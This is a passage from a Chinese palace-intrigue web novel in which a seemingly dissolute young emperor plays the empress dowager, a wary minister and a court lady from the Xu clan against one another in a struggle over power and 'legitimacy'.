“儿臣不敢。”郑遂当即否认,“儿臣的意思是,儿臣既然知道一些母后不知道的东西,便愿意成为母后向上爬的梯子,一步步扶持着母后登上那万人之上的位置。” 他这话说的倒是极为顺耳,徐妙晴也爱听,心下的怒火不禁消减了一些。 但是,这不代表徐妙晴能完全信任郑遂。 她冷嗤一声:“哀家喜欢聪明人,但哀家也不喜欢太聪明的。” 郑遂跪伏在地,姿态愈发的谦卑。 “儿臣实在当不起母后这番夸赞,儿臣只是把自己能想到的全部告诉给母后了。” 说罢郑遂又连忙恭敬地补充了一句:“待到功成之日,还请母后能够全而成心愿。” 徐妙晴饶有兴致的望着他:“那你的心愿是什么?” “儿臣只希望,母后能许儿臣远离京城,找一个清静的地方过日子。如果母后开恩,还请母后……” 郑遂顿了顿,小心翼翼的补充了一句。 “能遣人来伺候儿臣。” 徐妙晴险些就笑出声来。 他还真是贪得无厌啊。 若照他所言,来日自己登基,还开恩放了他一马,那他可就是庶民了。 区区一个庶民,怎配让人伺候? 若是派人去伺候他,那是不是还得保证他富贵安逸的生活? 果真是自小就在蜜罐里长大的,连半点人间的风浪都受不了。 不过这样也好,只要郑遂没有异心,全了他求的富贵又能如何? 反正他也是被自己拿捏在掌心里了,还不是说杀就杀的。 “好。”徐妙晴终于点了头,“既然你的要求也不算过分,那哀家在功成之日自可以成全你。” “多谢母后。”郑遂跪地谢恩。 随后忽然眉头一皱,又补充了句。 “那儿臣可以带一些姬妾走吗?” 徐妙晴直接被郑遂给蠢笑了。 果真是沉迷于酒肉声色,连谈条件都不忘了,把这件事带上。 然而徐妍却明显注意到,郑遂在说这话的时候,视线有意无意的往自己这边撇了一下。 而徐妙晴自然也捕捉到了这个细节,有些意味深长的开口问道。 “这女人于你而言就这般重要吗?” 郑遂挠了挠头,尴尬回应:“儿臣自小,未曾见过世间风景,所能想到的乐子也只有这些了……而且儿臣是当真不愿意看到那些女人跟了自己一场,最后却得不了一个善终的。” 徐妙晴静静的注视着郑遂,并没有立刻表态。 而是起身在宫人的簇拥之下,缓缓离开了。 她一走,徐妍就再也撑不住身体,直接瘫软在地。 倒是郑遂极为淡定,像是个没事人似的站起身来,径直走回龙椅边。 看着被徐妙晴坐过的垫子,郑遂的脸色微变。 “把这垫子撤了,换成干净的。” 徐妍颤颤巍巍的看向郑遂。 他当真是连装都不装了吗? 郑遂也恰好望过来,二人的视线刚好对上。 “你还跪着做什么?” 徐妍紧张的吞咽了一下口水,撑着地想要爬起身来,却发现自己双腿早已绵软无力,好几次险些摔了。 郑遂饶有兴味的看着她,在见到徐妍真的爬不起来时,才上前抬手扶住了她。 徐妍愣愣的看着郑遂,好半天都没能说出话来。 “你何必如此紧张?”郑遂开口道。 徐妍牙关紧咬,拳头握了又松,这才声音略带愤怒的道:“我不管你有什么计策,可你为何偏偏要拖上我?” 刚才徐妙晴走时并不表态,分明就是在琢磨着郑遂话中的真实性呢。 “她前面明明都已经松口了,你为何还要……” 还要提到自己呢。 “愚蠢。”郑遂轻嗤一声,扶着徐妍走回龙椅边,按住她的肩膀。 徐妍吓了一跳,忙要挣扎。 可腿都已经麻了,实在是没力气,硬生生的被郑遂按坐在了龙椅上。 “怕什么?”郑遂凝视着徐妍,“手握天下大权之时,这龙椅才可看被称之为龙椅。否则即便朕依旧是大旗君主,但这龙椅也不过就是块破木架子罢了。” 可即便如此,徐妍仍是战战兢兢。 若无人在意,自然坐的只是一把普通的椅子。 可若被有心之人盯上,那就…… 第13章 太阳打西边出来了 尤其是徐敬意兄妹二人。 他们向来城府深沉,非常人能够揣测,手段又极为毒辣。 若被他们知道了,自己还有命活吗? 而郑遂像是没看出徐妍的恐惧一般,忽然开口问她。 “我要带你走,你难道不高兴吗?” 徐妍愣了一下,随即忍不住开口呛了回去。 “陛下是真想出宫寻个清静的地方,还是想利用他们狗咬狗,陛下自己心里最清楚。” “真聪明啊。”郑遂伸出手,轻轻的摸索着徐妍的脸颊。 “那你为何不想想,朕今日所做的一切,也算是给朕留下的第二条路呢?” 徐妍愣住了。 郑遂是在准备后路吗?他的后路中,包含了自己? 不!徐妍不相信! 可是瞧着郑遂的面色,倒真不像是撒谎。 心中那种古怪的感觉又升腾起来,像是在拉着扯着她的理智,让她不得不往郑遂那边靠拢。 徐妍简直要被这种纠结的感觉逼疯了。 “你且好好休息吧,朕要去上朝了。”郑遂没有多说,转身就走。 “等等!”徐妍急切的叫住他,“太后一定会罩我去问话的!” 郑遂回过身来,对着徐妍意味深长的一笑。 “那就看你想不想留在朕身边了,你如此聪明,不会应付不了的。” 郑遂大步的潇洒离开,徒留徐妍一人呆坐在大殿之上。 直至郑遂的背影彻底在宫门口消失,徐妍才终于回过神来。 目光无意间一扫,才发现自己所处的地方可以清晰的看到这大殿之内的一事一物。 就如同稳坐在云端,睥睨这脚下万物生灵一般。 原来,居于高台之上竟是这种感觉,难怪人人都想当皇帝了。 王喜一路跟着郑遂出去,直至出了乾清宫,到了无人的小路上,这才忍不住小声跟郑遂嘀咕。 “陛下,恕奴才多嘴一句。您实在是不该让一个女子坐在轮椅上,这可是老祖宗的规矩。” “老祖宗的规矩又能怎么样?”郑遂漫不经心的把玩着指甲。 “那西蜀国还向来有女帝登基呢,规矩是老祖宗定的没错,可谁有权利,谁才配被称为老祖宗。” 要不然现在为什么有那么多族谱单开一页的事呢? 王喜见着郑遂这般随意的态度,有些痛心疾首。 堂堂大齐,怎么如今就沦落到这般地步了? 竟叫那些乱臣贼子把持住了权力,还叫他们皇帝如此自暴自弃! “奴才就是替您不值。”王喜小声的嘀咕道。 “陛下,这女人到底姓徐,未必可信啊……”王喜苦口婆心的说道。 郑遂微微一笑:“朕知道,好了,不必再说这些了。” 王喜只好不甘心的闭上了嘴,躬身陪着郑遂朝前走去。 郑遂却忽然停住了脚步,转头回望了一眼乾清宫,嘴角莫名的挂上了一抹笑意。 他又哪里不知,姓徐的不可信呢。 但若能让徐家的内斗更混乱一些,区区一个龙椅又算得上什么? 虽然郑遂也不觉得徐妍有那么大的胆子和野心敢觊觎皇位,但当她真的坐到了那个位置之上,才会知道高高在上手握重拳是什么样的滋味。 她当然不会甘心一辈子被徐家兄妹压的死死的,即便是不会像徐妙晴那样妄想登上帝位,但自己这一剂又一剂的猛药灌下去,她早晚有一天会想着如果能够成为正统的皇后,又会是怎样一番情景? 抵达太极殿时,朝臣们已经吵开了。 秦王举兵造反,如今消息已经传开了,闹得人心惶惶。 至于他们那位皇帝,即便众多文臣清流想要维护正统,心里头也实在是没对郑遂报多大的指望。 便是郑遂已经步入了大殿,可实则也没有什么存在感。 守规矩的闭上了嘴,可还有几个瞥了郑遂一眼就继续热火朝天的探讨了起来。 直至王喜尖着嗓子叫了一声:“皇帝驾到!” 一众朝臣这才终于安静下来,齐齐跪地向郑遂请安。 郑遂放眼望去,果真见徐敬意和江如松那个老贼神色各异,皆是在底下暗戳戳的瞧着自己。 郑遂微微一笑,清了清嗓子,开口道。 “朕来时便见诸位爱卿吵得不可开交,其实朕也明白你们在担心什么。秦王举兵造反,乃是大逆不道之举,朕已决定派兵镇压,决计不能助长这种风气。” 诸位朝臣皆是震惊的抬头看向郑遂。 以往朝中无论发生何事,郑遂要么是称病不出,要么上了朝也会被朝什么逼得哭哭啼啼。 今日郑遂虽没有逃避问题,但大家也没有对他抱多大的指望。 却没想到郑遂的话掷地有声,径直就戳破了秦王的野心。 众人纷纷哗然。 其实秦王是否有野心,他们这些个老臣心里都有数。 打的是清君侧的名义,可谁知他一路攻入皇城会做什么? 毕竟从严格意义上来讲,他也算是正统的。 只是郑遂一向懦弱,他突然直接将秦王定性为逆贼,实在是出乎众人的意料。 底下已经有朝臣小声议论了起来:“今儿个太阳是打西边出来了?陛下竟敢与秦王抗衡。” “说的不就是吗?咱们这位陛下向来胆小怕事,曾经若不是先帝维护着,只怕是那些个藩王踩到他脸上,他也是大气儿都不敢喘。” 徐敬意却是露出了满意的神色。 郑遂能够信守承诺,徐敬意心里也就踏实了。 于是立刻上前一步:“陛下英明,只是如今国库空虚,若派兵镇压定要劳民伤财,怕是……” “爱卿的担忧也自是朕的担忧。”郑遂笑着说道。 “既然国库空虚,那便由各地方捐钱捐粮。都是大齐的子民,他们应当为镇压反贼出一份力的。” 一切都是按照他们之前商议好的路线进行,徐敬意也是当下就应了下来。 “陛下圣明,微臣拜服!” 郑遂面色淡淡,微微颔首之后,视线转而就落在了江如松的身上。 江如松始终都没有开口说话,甚至一直有意的将自己往人堆里藏。 他现在还不想和徐敬意有什么大的冲突,尤其是在徐敬意一早就发来拜帖之后。 可却不想,怕什么来什么。 那两道灼热的视线落在江如松身上,江如松下意识的就抬起了头。 只见郑遂对自己淡淡一笑,突然开口:“江爱卿觉得如何?” 第14章 这俩人什么关系 江如松的身子一颤,心里头已经忍不住直骂娘了。 想来若老太后还在世的话,估计就是身体健壮,也得被她这好儿子的一番操作搞得气运都没了。 这皇帝什么时候学的这么狗了? 而徐敬意也是瞬间就转过头去,目光灼灼的盯着江如松,等待着他的答复。 如今这情形江如松是点头也不是,不点头也不是。 这小皇帝明显不像从前那般愚蠢了,甭管是他突然打通了任督二脉,还是背后有什么高人指点,自己不应和他,倒霉的终归是自身。 可要真是立马和皇帝站在一条线上,这徐敬意能放过他? 两个世家争斗起来,不管谁输谁赢,过程终归不是那么好受的。 就更别提,这可是牵连到全家身家性命的事! 郑遂挑了挑眉,又暗戳戳的给江如松来了一刀:“是朕的声音不够大吗?” 江如松的身子狠狠地颤抖了一下。 只能硬着头皮磕磕巴巴的开口:“陛下圣明。” 旁的朝臣们也是惊叹于郑遂竟有这么好的计策,两个大头已经站出来表态,他们自然是也得跟着附和。 于是都整整齐齐的跪地叩首,高呼陛下圣明。 徐敬意的脸色越发沉了下去,目光颇有深意的扫了江如松一眼。 但他可是千年的狐狸成了精,便是天塌下来当场破防的事,他也是万万干不出来。 当下便整理好的表情,转身回到人群之中,同样跪下叩首。 只是瞧着他面上的笑容,江老贼的心肝脾都跟着颤了起来。 而徐敬意那边只是面上淡定,实际上心里头也是绕了八百个来回。 自打昨日听说郑遂出了门就直奔着姓江的老不死到那儿去了,徐敬意心里就泛起了嘀咕。 如今瞧着他这态度,徐敬意心中更是升起一阵恶寒。 忍不住暗暗的瞥了江如松一眼,捏紧了拳头。 江如松强压制着心底的颤抖,连对视都不敢。 徐敬意在心底冷哼了一声,暗自思忖。 都说这姓江的自打老皇帝过世之后就与自己不一条心了,徐敬意也是一直暗中留意着。 可这千防万防家贼难防,他怕是真忘了,曾经在自己面前那副卑躬屈膝的样子了吧! 就在此时,郑遂忽然说道:“既如此诸位就都散了吧,对了,江爱卿,朕有要事要与你商讨,待会儿你来朕的书房吧。” 江如松早在心里把郑遂骂了千八百遍了。 他是真怕自己不死! “江兄,陛下在叫您呢。”徐敬意冷不丁的来了一句。 江如松猛的转头看向他。 废话,他又不聋,那狗皇帝更是恨不得扯开嗓子喊,他怎么可能听不见? 只得硬着头皮恭敬道:“微臣遵旨。” 徐敬意冷哼一声,转身就走。 江如松一路黑着脸来到了御书房,刚被王喜引着入内,就看见郑遂盘着腿,大马金刀的坐在红木椅上,正美滋滋的吃着冰葡萄。 一旁徐妍给他打着扇子,可谓是珍羞美味,吃着美人陪伴在侧,逍遥的快要去做神仙了。 江如松气的脸都已经绿了,忍了好一会儿,才上前跪地道:“参见陛下,不知陛下唤微臣来是有何事?” “爱卿脚程倒是挺快的。”郑遂笑眯眯的看向江如松。 “听说,徐敬意约你见面了?” 江如松猛的瞪大眼睛。 知道这郑遂今时不同往日了,却不想消息能这么灵通。 今早徐府刚传来的消息,如今不过两个时辰就传到了郑遂耳朵里。 关键是,郑遂如何能得知这些消息的呢? 难道是他背后之人竟有了手眼通天的本事不成? 江如松眯了眯眼,正欲开口,忽的看见徐妍还站在郑遂的身侧,当下止住了话头。 疑惑的道:“陛下……” 他视线时不时的往徐妍身上瞟,郑遂便是再怎么眼盲心瞎也看得出来他是什么意思。 可偏偏郑遂根本就没有让徐妍下去的意思,反而抬手便搂住了徐妍的腰。 徐妍惊呼一声,直接被扯的坐在了郑遂的腿上,脸上并时浮现两坨绯红。 江如松直接被雷了个七荤八素,眼睛瞪得老大难以置信的看看郑遂,又看了看徐妍。 这徐妍可是徐家出来的人,郑遂与她如此亲近,是何意图? 江如松现在只恨自己没勇气自戳双眼,看到了这么多不该看的,他还有命活吗? 好死不死的,郑遂又在此刻悠悠来了一句:“爱卿若有什么话可以直说,妍儿不是外人。” 这声亲昵的妍儿,不仅让徐妍修的连头都抬不起来,江如松更是闹了个大红脸。 小皇帝沉溺于美色,又不是头一天了。 宫中但凡有点姿色的宫女都遭到过小皇帝的骚扰。 他如此毫不避讳地称呼徐妍,这两人是什么关系岂不是昭然若揭? “陛下,这不合规矩呀!”江如松一副痛心疾首的模样,恨不得直接拿祖宗规矩压制郑遂了。 “这这这……这女官与后妃,陛下总归要分得清楚才是啊!” 郑遂却忍不住冷冷的勾了一下唇角。 唔,他好厉害呀。 他这表面上是在说既然人家姑娘伺候了自己,就得给人个名分。 实际上,不还是要搞明白自己的态度吗? 也是,自己明里暗里的离间,他两家的关系私底下去把徐妍留在了身边,这老贼如今怕是想的脑子都要冒烟了,只恨自己怎么还不死。 思及此,郑遂“暧昧不清”的一笑。 “爱卿说的对,朕既然心悦妍儿,自然是要给妍儿一个名分的。其实朕也不忍心妍儿就这么跟着朕,毕竟女子总是要受名节所累。” 他挑了挑眉,又悠悠补充了一句。 “只是,朕若是这么急着封了妍儿,立场过于鲜明,恐怕有些人就更是等不及了。” 江如松听的一愣一愣的,细细品着郑遂画中的深意,心中蓦然就浮现出了一个想法。 只是他不敢确定,依旧震惊的看着肉身相贴的二人。 这郑遂不会是在帮…… 就在这念头刚刚冒出来的时候,外头突然传来“哎哟”一声。 第15章 莫非你也有不臣之心 郑遂不悦的朝外边看了过去。 而江如松听出了这道声音中的熟悉,更是一阵胆突。 就在江如松震惊的望过去的时候,外头的人似乎也知道了自己藏不住,于是缓缓推门走了进来。 看见徐妙晴的身影出现在门口,江如松差点当场就晕过去。 “陛下,这……” “正如你所见,如今与皇帝合作的是哀家。” 未等郑遂开口,徐妙晴便抢先一步道。 郑遂眼神晦暗不明的看着徐妙晴,心中冷道:手伸的够长的呀。 江如松的眼神望了过来,郑遂立刻起身,行至徐妙晴面前恭恭敬敬的行了个礼。 “儿臣见过母后,如此小事怎能劳动母后大家?待到一会儿江爱卿走了,儿臣自会将此事禀报给母后。” 反正徐妙晴来都来了,也被江如松看了个正着。 既然躲不掉,何不借此做做文章呢? 他这恭顺的态度倒是让徐妙晴欢喜的很,早些让这些老臣们知道自己才是郑遂背后的人也好,也更方便来日不是? 江如松的难以置信已经写在了脸上。 他才刚刚冒出个念头,猜到了些许,这徐妙晴的突然出现就直接印证了他的想法。 原这徐妙晴竟然也与徐家不是一条心的。 如此大的信息量,已经把江如松震惊了个外焦里嫩。 心中直呼老天怎么不降下一道雷来劈死他们呢! “昨日皇帝去见江爱卿,想来有些事江爱卿也已经明白了吧?”徐妙晴淡淡开口。 这架子可谓是端的很足,怕是这会儿徐敬意来了,也要震惊一下自己这妹妹何时学了这些。 可郑遂却觉得有些可笑。 她不会真的以为,凭她就能胁迫了江如松与她站队吧? 可真是滑天下之大稽。 不过也好,这女人远比自己想象的还要没脑子,拿捏起来就更容易些了。 江如松愣了许久,终于找回了神志来。 将信将疑的开口:“那些个计策,莫非是太后……” 徐妙晴目光偏向郑遂,心里有些拿捏不准。 郑遂忙不迭的就点头,使劲儿的给徐妙晴使眼色。 她能主动出来顶了这个锅可是再好不过的了,郑遂还不想这么早就暴露自己的野心,免得那些乱臣贼子狗急跳墙。 要说这徐妙晴还真是胸大无脑,得到了郑遂的暗示,竟就真的应了下来。 “正是哀家,江爱卿可有什么疑惑?” 郑遂捂着嘴才没笑出声来。 好好好,可真是太好了! 要知道,自己就算是再没本事,可只要能有那么一星半点拿捏住江如松的地方,一生都身为臣子的江如松,自然多多少少的会感到畏惧。 但徐妙晴可就不一样了。 她以为,她是在玩弄人心,可实际上,就算是江如松此刻对她卑躬屈膝,可又哪里能服一个女人上位呢? 她今儿个有多嚣张,明儿个就会如何被朝臣们视为眼中钉。 只能说她自求多福吧。 看着郑遂偷笑,徐妍有些无奈的看了他一眼。 做事张弛有度,该硬的时候硬,该软的时候软,徐妍不佩服他都不行了。 江如松费力地整理着自己混乱的思绪,过了许久才道:“太后英明。” 徐妙晴轻笑一声,缓缓走至龙椅边。 郑遂立刻躬身:“母后请坐。” 徐妙晴毫不客气的一屁股坐了上去。 江如松的眼睛瞪得如铜铃一般,眼珠子都差点滚到地上去。 “倒不是哀家英明。”徐妙晴说道,“只是徐家的种种作为,哀家即便身为徐家亲眷,也是看不下去了。” 徐妙晴挑了挑眉:“难道江爱卿不想维护正统吗?” 江如松满头大汗。 何为正统? 甭管是名正言顺的上位,还是强将着皇位抢了去。 只要能够镇压住天下的悠悠之口,那便是正统! 徐妙晴这嘴上说的好听,可实际上她才是最想成为正统的那个人! 天底下怎能有如此不要脸的人,江如松只觉得此刻便是徐敬意亲自来了,也得甘拜下风。 “太后,您……”江如松忍不住开了口。 郑遂突然轻咳一声:“母后,这种小事,怎能劳动您亲自来说?交给儿臣就好。” 徐妙晴不悦的瞪了郑遂一眼。 好不容易能有这么个机会与朝中众臣当面交流,郑遂拦着自己干什么? 郑遂大步上前,压低声音在徐妙晴耳边说道。 “母后今日来的突然,只怕一时震惊,捋不过来这个弯儿。倒不如让儿臣好好来劝一劝,也免得母后与他多费口舌。” 随后又迅速补充了一句:“母后人善,可这天底下瞧不起女子的人多着呢。而臣只希望母后的登基之路能顺利一些,免受闲言碎语的纷扰。” 徐妙晴眯了眯眼,思来想去倒也觉得郑遂所言有所道理。 也罢,何必要上赶着迎上这些明枪暗箭呢? 便转头对着郑遂道:“既如此,哀家走了也没什么。只是……” 她深深的看了郑遂一眼:“哀家也不是那么在意过程,哀家要看到的是一个对哀家有利的结果。” 呵呵,不在乎过程? 郑遂看她可在乎的紧呢! 死要面子活受罪,反正谁难受谁知道。 郑遂便立刻躬身恭敬的道:“恭送母后!” 徐妙晴站起身来,路过江如松的时候,冷飕飕的看了他一眼,随即便大步流星的离开。 王喜与另一个太监缓缓关上了门,候在了殿外。 郑遂转头对着江如松一笑:“如今这里没有旁人,江爱卿可以畅所欲言。” 江如松激动的身体都在颤抖,脸也憋红了。 若非考虑到对方的身份,只怕是要当场吼出来。 “陛下,您、您怎可如此!” 郑遂挑眉。 都已亲眼看见了,还不敢宣之于口。 就这点胆子还配觊觎皇室吗? 他不说的,郑遂替他来说。 “江爱卿何必如此大动肝火?其实不管是谁登基上位,重要的不都是造福百姓吗?君主若仁善,底下的人才有好日子过。” 郑遂忽然凑近过去,悠悠道。 “莫非江爱卿也有不臣之心?所以,才会对皇室中的事儿指指指点点,怎么都不肯满意。” 第16章 徐家自然会收拾他 这天底下的人,除了零星的那几位以外,但凡有机会,便是最低贱的庶民也会幻想若自己能够成为皇帝会是什么样的一番情形。 若有机会,那肯定是毫不犹豫的便会出手。 江如松也不例外。 但是有这种心思,和付出行动终究是两码事。 江如松就算是昨天喝多了热汤,今天脑子烫出了泡,他也是断断不敢在郑遂面前承认这些。 君主一天不死,他们就得遮掩自己的野心。 江如松连忙扑通一声跪倒在地:“陛下,臣绝对没有这个意思!” “既然没有,又有何权利置喙?” 江如松低下了头。 心里早就恨得滴了血,可面上确实连个屁都不敢放。 过了许久,他才终于咬牙说道:“可女子称帝,终归不是正统。” “是不是正统又有何要紧?”郑遂弯下腰,凝视着江如松的眸子。 一字一顿的说道:“江爱卿,这世上,谁有权利谁说话。还是江爱卿觉得,我们如此费尽心机,是故意要把你卖给徐家?” 刚刚某一瞬间,江如松的确是生出过这样的心思。 徐敬意对他虎视眈眈,徐妙晴又忽然出现,江如松哪里能不去想这是不是徐家人设下的套,就是为了试探一下他是否有不该有的心思。 可若是这样,徐敬意为何又要约自己见面? 他这个人杀伐果断,一旦能从某处得到实质性的证据,便会即刻出手,绝对不给自己留下祸患。 只要昨日小皇帝跑到徐敬意面前说上那么两句,恐怕不到今天早上自己就身首异处了。 此刻郑遂的话,虽是打消了他的怀疑,可现实情况却也是江如松万万不能接受的。 女子上位,成何体统! 难道让他们这些老臣日后都跪在一介女子的脚下,卑躬屈膝吗? 郑遂冷冷一笑,丝毫不给江如松反驳的机会。 “你若是真看不惯,大可退出。只是到时候徐敬意如何对你,那朕可就管不着了。” 江如松身子狠狠一颤,忍不住咬牙切齿的道:“可陛下就不怕臣将此事告诉给徐敬意吗?” 威胁? 很好。 “你想说随便说就是了。”郑遂微微一笑,“徐敬意毕竟已经怀疑了,到底是谁在背后给朕出主意,你猜,他既然有了疑心,又见你跑到他面前说三道四,还是说了个如此令人匪夷所思的事,他会不会相信呢?” 江如松的身子狠狠一颤。 那徐妙晴再怎么不是也是徐敬意的亲妹妹,江如松便是说破了大天,徐敬意未曾亲眼所见,自然不会出手料理的徐妙晴。 哪怕他也会对徐妙晴产生怀疑,但比徐妙晴先死的肯定是自己。 江如松这才明白郑遂的算计哪里只是挑拨离间那么简单,分明是在逼自己就范。 他嘴上说着会让自己看到诚意。 可这所谓的“诚意”,一旦稍有差池,可就会死全家呀! 江如松恨都恨死郑遂了,可偏偏一点办法都没有。 他只能咬紧牙关,心不甘情不愿的俯身叩首。 “微臣……遵旨。” 看着江如松愤愤离开的背影,郑遂忍不住笑出了声。 “朕还当他有多大的能耐,原来也不过是个色厉内荏的草包罢了。” 徐妍纠结了一会,上前一步道:“可江家毕竟是陇西之地的门阀。” 郑遂冷哼一声。 这江家从前不过是做药材生意的商贾人家,不管到哪朝哪代都是二流。 之所以能够发家,无非是他们先祖占了先机,在有一次大齐闹了瘟疫的时候出手相助,深受赵氏先祖的感激,这才摇身一变成了人上人。 可二流终归就是二流,想要往上爬,想要人人敬重,那也得注重内修真有本事才成 好的没学会净学那些不好的,活该他们江家势力庞大,却也只能在徐敬意面前俯首称臣。 “随便他。”郑遂无所谓的说道,“就算边关有战事或是赶上大病之年,那也是你们徐家冲在前头。他将家若是敢垄断药材,自有徐敬意收拾他不是吗?” 徐妍抿了抿嘴唇,郑遂却忽然转过头来,握住了她的手。 徐妍抬头望过去,便见郑遂对着自己笑着,眉眼都弯成了月牙。 “妍儿,你说这些,是在担心朕吗?” 徐妍面色一红。 真是油嘴滑舌,人前一套背后一套。 可却偏偏……偏偏每句话都能说在自己心坎里。 徐妍别过头去:“陛下可千万别这么说,难道陛下就不怕,江如松怀疑起您别有用心,联合其他朝臣弹劾您吗?” 郑遂无所谓的耸了耸肩:“他不敢,他也没有别的退路了。” 只怕这会儿江如松要是知道实际上想要控制他的人是郑遂本人之后,还会庆幸呢。 有那句话说的对,如果想提议把窗户打开,遭到了别人的拒绝,那就干脆提议把房子拆了,这样别人自然会主动提起把窗户打开。 哪怕不情不愿,又能如何左右江如松如今也是自己的囊中之物。 忽然,郑遂对着徐妍勾了勾手指。 徐妍疑惑的皱了皱眉,凑近过去。 便听到郑遂在自己耳边说了几句话。 徐妍脸色大便,忍不住往后退了退。 “我、我不成……” “没有什么成不成的,只是说两句话而已,别太小看了自己。” 郑遂轻轻抚摸着徐妍的手,柔声说道。 “你难道,不想我们能平平安安的在一块儿吗?” 徐妍脸色更红,片刻后,她艰难的点了点头,悄然退去。 “他真是这么说的?” “千真万确。”徐妍点了点头,“奴婢是趁着他午睡之时,才敢悄悄出来告诉给太后娘娘的。” 徐妙晴陷入了沉思。 这郑遂在江如松面前说了几句话,倒是有些分量,只是这种事,要徐妍过来说,未免有些邀功的嫌疑。 “你确定不是他叫你特意说给哀家听的?”徐妙晴冷声问道。 徐妍连忙跪在地上,紧紧抓住徐妙晴的袍子,眼泪瞬间溢满了眼眶。 “太后娘娘,当真是奴婢自己要来的。奴婢只求太后娘娘能够救救奴婢,奴婢实在是不想跟在那肖小之徒的身边了!” 第17章 求太后垂怜 说着,徐妍轻轻解开了自己的长衫。 高领的外罩衫下,藏着的是一片斑驳的肌肤。 徐妙晴愣了一下,随即噗嗤一声笑了出来。 “这小皇帝,对你倒是挺有兴致的呀。” 徐妍身子微微颤抖着,泪水滚过脸颊,砸在金砖地上。 “太后娘娘,求您可怜可怜奴婢。”徐妍苦苦哀求着。 “他简直不是人!他在那事上,根本就是个……” 徐妍咬紧牙关,面露屈辱。 似乎用尽所有的词汇,都无法形容郑遂在那事上有多令人窒息。 “他还说,待来日出宫,要拉着奴婢一起,去民间做一对寻常夫妻!” 徐妍连滚带爬的上前拉住徐妙晴的袍子。 “太后娘娘,奴婢是真的无法忍受了!奴婢知道太后娘娘给了这般体面的一个差事是奴婢的福气,可是奴婢真的……” 徐妍微微摇着头,眼泪像不要钱似的往下流。 徐妙晴是在老皇帝快不行的时候才被强行送进宫来,自是未通人事。 可这种事儿,便是没吃过猪肉,也见过猪跑。 单听徐妍的形容,徐妙晴都觉得心头一阵恶心。 她不禁面露厌恶,摆了摆手。 “休要说这种不得体的话。” 徐妍哭的肩膀微微耸动着:”求太后娘娘垂怜……” 徐妙晴若有所思的看着徐,妍,忽然道:“你若想让哀家帮你,也不是不行,只是哀家心里一直有一个疑惑。” 徐妙晴忽然掐住徐妍的下巴,逼迫她露出一张哭的梨花带雨的小脸来。 “哀家只问你一句,那小皇帝何时变得如此聪慧了?这背后……” “没有,真的没有。”徐妍拼命的摇头。 “奴婢日日跟在他的身边,他见过什么人?奴婢还能不知道吗?寻常除了与奴婢在一块以外。就去找其他姬妾婢子寻欢作乐,听说、听说他还……” 徐妍面露羞赧,似乎是再也说不下去。 徐妙晴却对此事极为好奇:“还有什么?” “还、还有他和身边那两个小太监似乎是也……” 徐妍说着就别过头去,捂着胸口一阵干呕。 徐妙晴眯起了眼,这郑遂竟比自己想象的还要更放肆荒诞。 不过徐妍这话是否为真,还有待考究。 “既然背后无人给他出主意,那他为何会如此?” “太后娘娘有所不知。”徐妍的胸腔剧烈起伏着,再次伸手扯住徐妙晴的长袍。 “老皇帝是个极有心机之人,在崩逝之前就已预料到了今日。” 所以除了给藩王兵权以外,还给郑遂留下了一个小册子。 里头写着的正是眼下朝中,各大可用之臣。 以及那些心怀不轨的人的名单,乃至于他们的家境势力,都被详细的记录在册。 “此事当真?”徐妙晴皱起眉。 “当真。”徐妍颤颤巍巍的点头。“但奴婢也只是趁他不注意,偷偷看了一眼。” 徐妙晴陷入了沉思之中。 这老皇帝是个什么样的人,他们大家心里都有数。 虽说终究不敌各大世家的势力,也没能给小皇帝留下个太平盛世。 但到底他是心眼最多、城府最深的那一位。 徐妍这话,倒是有些可信度。 但是空口无凭,徐妙晴还是抱着怀疑的态度。 “你想让哀家保你?” “求太后救救奴婢吧。”徐妍立刻哀求道。 徐妙晴轻哼一声。缓缓站起身来,甩开了徐妍的手走向窗边。 轻声道:“你若是想让哀家救你,念在咱们是同族人的份上,哀家也不会不管你。只是,哀家如今精力有限,实在是不能白白付出啊。” 徐妍当即爬上去贵府在徐妙晴的脚边,一副极为谦卑的姿态。 “太后娘娘放心,郑遂虽然有老皇帝为他做打算,但他自己也不过就是个色厉内荏的草包吧。他如此沉溺于女色,是没有多少时日可活的。” 徐妙晴眯起眼睛看向徐妍,凝滞了片刻后,忽然朗声大笑起来。 “真不愧是我徐家的女儿啊,果然有魄力。” 随即徐妙晴伸出手,轻轻地搀着徐妍站起身。 徐妍始终弓着腰,做出一副极为谦卑的姿态。 “多谢太后娘娘。” “你倒也别急着谢我。”徐妙晴忽然又冷了语气。 “既然郑遂手中有老皇帝给他留下来的法宝,那也难免他会生出异端来。” 徐妙晴挑了挑眉,目光幽深的注视着徐妍。 “你跟在他身边,可否能确定他是真心实意的想帮哀家?还是说……” “他哪里能担得起一国之君的职责。”徐妍撇了撇嘴,露出几分厌恶。 “奴婢不敢做保,但至少现在奴婢瞧他并不像是有二心。不过,太后娘娘谨慎一些也是好的。” 徐妍又连忙跪地,恭恭敬敬的道。 “奴婢之所以会对太后献上此计策,也正是考虑到了此处。若真有万一那一天,太后娘娘还需早做打算。” 徐妙晴满意地点了点头,颇为赞许的看向徐妍。 “你的建议哀家并非不可以考虑,只是哀家必得见真章才行。” 徐妙晴俯首磕头:“太后娘娘放心,只要奴婢一有机会,即刻便会把老皇帝留下给郑遂的那些东西拿过来给太后。” “那就好。”徐妙晴微微颔首。 她转身,又回到了贵妃他边慵懒的靠下。 “好了,既然你该说的都说完了,就回去吧。” 可徐妍站起身来,却依旧停留在原地,并没有立刻离开。 徐妙晴看过去:“还有何事?若有便尽快说,平日这时候哀家已经在午睡了。” 徐妍连忙躬下身子:“奴婢还有一事不得不与太后说,若真有那天要铲除郑遂,太后娘娘还得有退路才成。” 徐妙晴面上涌起一丝不耐烦,颇为嫌弃的看向徐妍,骂道:“没出息。” 如今她利用着郑遂,想来要不了多久就能收拢朝中重臣的心。 到那个时候在料理了郑遂,难道还怕自己孤立无援吗? 徐妍连忙摇头:“太后娘娘,请恕奴婢说一句大不敬的话。那郑遂虽然沉于酒色,但有句话说的却是颇为有道理。” “什么?” “谁有权利,谁才是正统。” 第18章 装的逼真也是本事 便是拉拢了朝中重臣又能如何? 万一他们只是表面上看着忠心耿耿,实际上却也心怀不轨呢。 还是要早做打算才好。 徐妙晴捏了捏鼻梁,沉思片刻后,问道:“依你之见,何为真正的权利?” 徐妍正色,一字一顿的道:“兵权。” 徐妙晴的脸色逐渐沉了下来,冷哼一声,甩袖道:“你话说的倒是容易,可那兵权是那么容易就能拿到的?” 自打徐家造反以来,这大齐大部分的兵权几乎都被许家收入囊中,余下的也多半都是各地方门阀分隔。 且不说徐妙晴了,便是郑遂也是叫天天不应,叫地地不灵。 徐妍口口声声要给自己出主意,可这出的是哪门子主意? 